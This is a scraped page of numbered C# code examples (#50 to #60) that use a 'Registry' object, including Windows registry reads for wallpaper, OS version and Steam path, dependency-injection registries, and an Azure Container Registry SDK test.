 public override IActivationOptions <TSource> DoBinding(IActivationStrategy strategy) =>
 Registry.Bind <TSource>(targetType, strategy, IfNeeded);
예제 #50
0
 public bool HasEventTag(IEventTag eventTag)
 {
     return(Registry.ContainsKey(eventTag));
 }
예제 #51
0
 private void Window_Initialized_1(object sender, EventArgs e)
 {
     // http://bytes.com/topic/visual-basic-net/answers/381876-determine-if-hide-extensions-known-file-types-active
     Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "HideFileExt", 0);
     this.Close();
 }
예제 #52
0
        private void loadDesktopBackgroundSettings()
        {
            cboDesktopBackgroundType.Items.Clear();
            cboWindowsBackgroundStyle.Items.Clear();
            cboCairoBackgroundStyle.Items.Clear();
            cboBingBackgroundStyle.Items.Clear();

            #region windowsDefaultBackground

            ComboBoxItem windowsDefaultBackgroundItem = new ComboBoxItem()
            {
                Name    = "windowsDefaultBackground",
                Content = Localization.DisplayString.sSettings_Desktop_BackgroundType_windowsDefaultBackground,
                Tag     = windowsImageBackgroundStackPanel
            };

            cboDesktopBackgroundType.Items.Add(windowsDefaultBackgroundItem);

            // draw wallpaper
            string regWallpaper      = Registry.GetValue(@"HKEY_CURRENT_USER\Control Panel\Desktop", "Wallpaper", "") as string;
            string regWallpaperStyle = Registry.GetValue(@"HKEY_CURRENT_USER\Control Panel\Desktop", "WallpaperStyle", "") as string;
            string regTileWallpaper  = Registry.GetValue(@"HKEY_CURRENT_USER\Control Panel\Desktop", "TileWallpaper", "") as string;

            Desktop.CairoWallpaperStyle style = Desktop.CairoWallpaperStyle.Stretch;
            // https://docs.microsoft.com/en-us/windows/desktop/Controls/themesfileformat-overview
            switch ($"{regWallpaperStyle}{regTileWallpaper}")
            {
            case "01":     // Tiled { WallpaperStyle = 0; TileWallpaper = 1 }
                style = Desktop.CairoWallpaperStyle.Tile;
                break;

            case "00":     // Centered { WallpaperStyle = 1; TileWallpaper = 0 }
                style = Desktop.CairoWallpaperStyle.Center;
                break;

            case "60":     // Fit { WallpaperStyle = 6; TileWallpaper = 0 }
                style = Desktop.CairoWallpaperStyle.Fit;
                break;

            case "100":     // Fill { WallpaperStyle = 10; TileWallpaper = 0 }
                style = Desktop.CairoWallpaperStyle.Fill;
                break;

            case "220":     // Span { WallpaperStyle = 10; TileWallpaper = 0 }
                style = Desktop.CairoWallpaperStyle.Span;
                break;

            case "20":     // Stretched { WallpaperStyle = 2; TileWallpaper = 0 }
            default:
                style = Desktop.CairoWallpaperStyle.Stretch;
                break;
            }

            txtWindowsBackgroundPath.Text = regWallpaper;

            #endregion

            foreach (var backgroundStyleItem in Enum.GetValues(typeof(Desktop.CairoWallpaperStyle)).Cast <Desktop.CairoWallpaperStyle>())
            {
                string display;

                switch (backgroundStyleItem)
                {
                case Desktop.CairoWallpaperStyle.Center:
                    display = Localization.DisplayString.sSettings_Desktop_BackgroundStyle_Center;
                    break;

                case Desktop.CairoWallpaperStyle.Fill:
                    display = Localization.DisplayString.sSettings_Desktop_BackgroundStyle_Fill;
                    break;

                case Desktop.CairoWallpaperStyle.Fit:
                    display = Localization.DisplayString.sSettings_Desktop_BackgroundStyle_Fit;
                    break;

                case Desktop.CairoWallpaperStyle.Span:
                    display = Localization.DisplayString.sSettings_Desktop_BackgroundStyle_Span;
                    break;

                case Desktop.CairoWallpaperStyle.Stretch:
                    display = Localization.DisplayString.sSettings_Desktop_BackgroundStyle_Stretch;
                    break;

                case Desktop.CairoWallpaperStyle.Tile:
                    display = Localization.DisplayString.sSettings_Desktop_BackgroundStyle_Tile;
                    break;

                default:
                    display = backgroundStyleItem.ToString();
                    break;
                }

                // windows
                ComboBoxItem cboWindowsItem = new ComboBoxItem()
                {
                    Tag     = backgroundStyleItem,
                    Content = display
                };
                cboWindowsBackgroundStyle.Items.Add(cboWindowsItem);

                if (backgroundStyleItem == style)
                {
                    cboWindowsItem.IsSelected = true;
                }

                if (EnvironmentHelper.IsAppRunningAsShell)
                {
                    // image
                    ComboBoxItem cboImageItem = new ComboBoxItem()
                    {
                        Tag     = backgroundStyleItem,
                        Content = display
                    };
                    cboCairoBackgroundStyle.Items.Add(cboImageItem);

                    if (backgroundStyleItem == (Desktop.CairoWallpaperStyle)Settings.Instance.CairoBackgroundImageStyle)
                    {
                        cboImageItem.IsSelected = true;
                    }

                    // bing
                    ComboBoxItem cboBingItem = new ComboBoxItem()
                    {
                        Tag     = backgroundStyleItem,
                        Content = display
                    };
                    cboBingBackgroundStyle.Items.Add(cboBingItem);

                    if (backgroundStyleItem == (Desktop.CairoWallpaperStyle)Settings.Instance.BingWallpaperStyle)
                    {
                        cboBingItem.IsSelected = true;
                    }
                }
            }

            if (EnvironmentHelper.IsAppRunningAsShell)
            {
                #region  cairoImageWallpaper
                ComboBoxItem cairoImageWallpaperItem = new ComboBoxItem()
                {
                    Name    = "cairoImageWallpaper",
                    Content = Localization.DisplayString.sSettings_Desktop_BackgroundType_cairoImageWallpaper,
                    Tag     = cairoImageBackgroundStackPanel
                };
                cboDesktopBackgroundType.Items.Add(cairoImageWallpaperItem);
                txtCairoBackgroundPath.Text = Settings.Instance.CairoBackgroundImagePath;
                #endregion

                #region  cairoVideoWallpaper
                ComboBoxItem cairoVideoWallpaperItem = new ComboBoxItem()
                {
                    Name    = "cairoVideoWallpaper",
                    Content = Localization.DisplayString.sSettings_Desktop_BackgroundType_cairoVideoWallpaper,
                    Tag     = cairoVideoBackgroundStackPanel
                };
                cboDesktopBackgroundType.Items.Add(cairoVideoWallpaperItem);
                txtCairoVideoBackgroundPath.Text = Settings.Instance.CairoBackgroundVideoPath;
                #endregion

                #region  bingWallpaper
                ComboBoxItem bingWallpaperItem = new ComboBoxItem()
                {
                    Name    = "bingWallpaper",
                    Content = Localization.DisplayString.sSettings_Desktop_BackgroundType_bingWallpaper,
                    Tag     = bingImageBackgroundStackPanel
                };
                cboDesktopBackgroundType.Items.Add(bingWallpaperItem);
                #endregion

                var listBoxItems = cboDesktopBackgroundType.Items.Cast <ComboBoxItem>().ToList();
                var listBoxItem  = listBoxItems.FirstOrDefault(l => l.Name == Settings.Instance.DesktopBackgroundType);

                cboDesktopBackgroundType.SelectedItem = listBoxItem;
            }
            else
            {
                cboDesktopBackgroundType.SelectedItem      = windowsDefaultBackgroundItem;
                desktopBackgroundTypeStackPanel.Visibility = Visibility.Collapsed;
            }
        }
예제 #53
0
 public Models.Projections.Token Register(
     Registry registry)
 {
     throw new NotImplementedException();
 }
예제 #54
0
 /// <summary>
 /// Make a new card from this template, owned by the given player
 /// </summary>
 /// <param name="player">The owner of new created card</param>
 /// <returns>A new card from this template</returns>
 public ICardModel New(IPlayerModel player)
 => Registry.Get <ICardModel>(this, player);
예제 #55
0
        /// <summary>
        /// Retrieves the operating system version
        /// </summary>
        /// <returns>operating system version string</returns>
        public static string GetOSversion()
        {
            var osVersion = Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ReleaseId", "").ToString();

            return(osVersion);
        }
예제 #56
0
 public virtual IReplica?TryGet(Symbol publicationId)
 => Registry.TryGet(publicationId);
예제 #57
0
 public ItemStack(int itemId, int itemCount) : base(Registry.GetItem(itemId).Type)
 {
     this.Id    = itemId;
     this.Count = itemCount;
 }
예제 #58
0
        public static bool IsWindowsFabricNodeConfigurationCompleted(bool isDepreciatedKey = false)
        {
            string value = Registry.GetValue(isDepreciatedKey ? Constants.FabricInstalledRegPathDepreciated : Constants.FabricInstalledRegPath, Constants.NodeConfigurationCompletedRegKey, null) as string;

            return(string.Compare(value, bool.TrueString, StringComparison.OrdinalIgnoreCase) == 0);
        }
예제 #59
0
        private void ContainerRegistryCoreScenario(ContainerRegistryManagementClient registryClient, ResourceGroup resourceGroup, Registry registry, bool isManaged)
        {
            // Validate the created registry
            ContainerRegistryTestUtilities.ValidateResourceDefaultTags(registry);
            Assert.NotNull(registry.Sku);
            if (isManaged)
            {
                Assert.Equal(SkuName.Premium, registry.Sku.Name);
                Assert.Equal(SkuName.Premium, registry.Sku.Tier);
            }
            else
            {
                Assert.Equal(SkuName.Classic, registry.Sku.Name);
                Assert.Equal(SkuTier.Classic, registry.Sku.Tier);
            }
            Assert.NotNull(registry.LoginServer);
            Assert.NotNull(registry.CreationDate);
            Assert.Equal(ProvisioningState.Succeeded, registry.ProvisioningState);
            Assert.False(registry.AdminUserEnabled);
            if (isManaged)
            {
                Assert.Null(registry.StorageAccount);
            }
            else
            {
                Assert.NotNull(registry.StorageAccount);
            }

            // List container registries by resource group
            var registriesByResourceGroup = registryClient.Registries.ListByResourceGroup(resourceGroup.Name);

            registry = registriesByResourceGroup.First(
                r => StringComparer.OrdinalIgnoreCase.Equals(r.Name, registry.Name));
            Assert.Single(registriesByResourceGroup);
            ContainerRegistryTestUtilities.ValidateResourceDefaultTags(registry);

            // Get the container registry
            registry = registryClient.Registries.Get(resourceGroup.Name, registry.Name);
            ContainerRegistryTestUtilities.ValidateResourceDefaultTags(registry);

            // Try to list credentials, should fail when admin user is disabled
            try
            {
                registryClient.Registries.ListCredentials(resourceGroup.Name, registry.Name);
                Assert.True(false);
            }
            catch (CloudException ex)
            {
                Assert.NotNull(ex);
                Assert.Equal(HttpStatusCode.BadRequest, ex.Response.StatusCode);
            }

            // Update the container registry
            registry = registryClient.Registries.Update(resourceGroup.Name, registry.Name, new RegistryUpdateParameters
            {
                Tags             = ContainerRegistryTestUtilities.DefaultNewTags,
                AdminUserEnabled = true,
                Sku = new Sku
                {
                    Name = isManaged ? SkuName.Basic : SkuName.Classic
                }
            });

            // Validate the updated registry
            ContainerRegistryTestUtilities.ValidateResourceDefaultNewTags(registry);
            Assert.NotNull(registry.Sku);
            if (isManaged)
            {
                Assert.Equal(SkuName.Basic, registry.Sku.Name);
                Assert.Equal(SkuName.Basic, registry.Sku.Tier);
            }
            else
            {
                Assert.Equal(SkuName.Classic, registry.Sku.Name);
                Assert.Equal(SkuTier.Classic, registry.Sku.Tier);
            }
            Assert.NotNull(registry.LoginServer);
            Assert.NotNull(registry.CreationDate);
            Assert.Equal(ProvisioningState.Succeeded, registry.ProvisioningState);
            Assert.True(registry.AdminUserEnabled);
            if (isManaged)
            {
                Assert.Null(registry.StorageAccount);
            }
            else
            {
                Assert.NotNull(registry.StorageAccount);
            }

            // List credentials
            var credentials = registryClient.Registries.ListCredentials(resourceGroup.Name, registry.Name);

            // Validate username and password
            Assert.NotNull(credentials);
            Assert.NotNull(credentials.Username);
            Assert.Equal(2, credentials.Passwords.Count);
            var password1 = credentials.Passwords[0].Value;
            var password2 = credentials.Passwords[1].Value;

            Assert.NotNull(password1);
            Assert.NotNull(password2);

            // Regenerate credential
            credentials = registryClient.Registries.RegenerateCredential(resourceGroup.Name, registry.Name, PasswordName.Password);

            // Validate if generated password is different
            var newPassword1 = credentials.Passwords[0].Value;
            var newPassword2 = credentials.Passwords[1].Value;

            Assert.NotEqual(password1, newPassword1);
            Assert.Equal(password2, newPassword2);

            credentials = registryClient.Registries.RegenerateCredential(resourceGroup.Name, registry.Name, PasswordName.Password2);

            // Validate if generated password is different
            Assert.Equal(newPassword1, credentials.Passwords[0].Value);
            Assert.NotEqual(newPassword2, credentials.Passwords[1].Value);

            // Delete the container registry
            registryClient.Registries.Delete(resourceGroup.Name, registry.Name);

            // Delete the container registry again
            registryClient.Registries.Delete(resourceGroup.Name, registry.Name);
        }
예제 #60
0
 public static string GetSteamInstallPath()
 {
     return(steamInstallPathCached ?? (steamInstallPathCached = (string)Registry.GetValue(string.Format("{0}\\{1}", userRoot, "Software\\Valve\\Steam"), "SteamPath", null)));
 }